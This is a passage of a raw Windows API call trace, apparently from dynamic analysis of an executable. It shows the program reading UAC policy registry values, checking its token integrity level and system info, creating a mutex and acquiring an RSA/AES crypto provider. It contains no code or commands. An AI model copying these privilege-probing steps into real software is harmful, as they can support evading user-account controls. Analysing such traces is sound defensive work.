RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb978) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc2d0) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb988) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc318) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb940) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc360) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb950) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc3a8) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb9d0) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc3f0) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb9e0) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc480) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb998) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc4c8) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb9a8) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc510) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb9b8) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc558) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb9f0) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc438) returned 1 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc438 [0025.666] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0025.666] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x22fc438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x22fc438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc438) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5a0) returned 1 [0025.666] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fb860 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb878 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.666] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb888 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc438 [0025.666] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb898 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc558 [0025.666] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.666] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb930 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc510 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x20) returned 0x22fb940 [0025.667] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb860) returned 1 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb860 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc4c8 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb968 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc480 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb978 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3f0 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb988 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3a8 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x30) returned 0x22fb998 [0025.667] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb940) returned 1 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb940 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc360 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb950 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc318 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9d0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc2d0 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9e0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.667] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb998) returned 1 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb998 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.668] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fb9a8 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1b0 [0025.668] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd1e8 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc168 [0025.668] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd1f8 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.668] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.668] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5a0) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb878) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc438) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb888) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc558) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb898) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc510) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb930) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc4c8) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb860) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc480) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb968) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc3f0) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fb978) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc3a8) returned 1 [0025.668] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0025.669] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x22fc240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x22fc240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd1f8 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd1e8 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd208 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd218 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc168 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x20) returned 0x22fb860 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd238 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd248 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd258 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc2d0 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x30) returned 0x22fb930 [0025.669] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd278 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc360 [0025.670] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd288 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3a8 [0025.670] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd298 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3f0 [0025.670] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc480 [0025.670] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2b8 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc510 [0025.670] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2c8 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc558 [0025.670] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2d8 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc438 [0025.670] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0025.670] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.670] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0025.670] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x22fc480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x22fc480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0025.670] RegCloseKey (hKey=0x38) returned 0x0 [0025.670] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0025.670] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0025.671] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0025.671] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.671] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x22fc5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x22fc5a0, ReturnLength=0x18fbfc) returned 1 [0025.671] GetSidSubAuthorityCount (pSid=0x22fc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x22fc5a9 [0025.671] GetSidSubAuthority (pSid=0x22fc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x22fc5b0 [0025.671] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5a0) returned 1 [0025.671] NtClose (Handle=0xc4) returned 0x0 [0025.671] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x6c) returned 0x22fb860 [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5a0 [0025.671] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc480 [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc438 [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc558 [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc510 [0025.671] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x5000) returned 0x21d0048 [0025.672] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc4c8 [0025.672] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc4c8) returned 1 [0025.672] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x5d2210) returned 1 [0025.864] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d0048) returned 1 [0025.864] RtlAllocateHeap (HeapHandle=0x22f0000, 